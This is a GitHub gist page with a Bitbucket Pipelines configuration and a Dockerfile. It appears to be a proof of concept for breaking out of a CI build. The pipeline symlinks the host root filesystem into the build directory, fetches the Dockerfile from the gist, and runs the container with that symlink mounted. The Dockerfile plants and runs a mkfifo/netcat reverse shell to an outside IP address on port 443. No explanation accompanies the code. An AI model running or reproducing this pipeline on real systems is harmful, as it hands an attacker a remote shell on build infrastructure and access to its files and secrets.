-
-
Save staaldraad/b805639cf44363692f13493f651c5689 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
image: | |
name: atlassian/default-image:latest | |
pipelines: | |
default: | |
- step: | |
script: | |
- ln -s / $BITBUCKET_CLONE_DIR/ln | |
- curl -oDockerfile https://gist.github.com/staaldraad/b805639cf44363692f13493f651c5689/raw/f8f65876cd464611ad0f7d365a9cf36a950fde36/Dockerfile | |
- docker build . -t xyz | |
- docker run -i --rm -v $BITBUCKET_CLONE_DIR/ln/:/ln xyz:latest | |
services: | |
- docker | |
caches: | |
- docker |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM docker | |
RUN apk update | |
RUN echo "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 139.59.42.102 443 >/tmp/f" > /pew.sh | |
RUN chmod +x /pew.sh | |
ENTRYPOINT /pew.sh |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment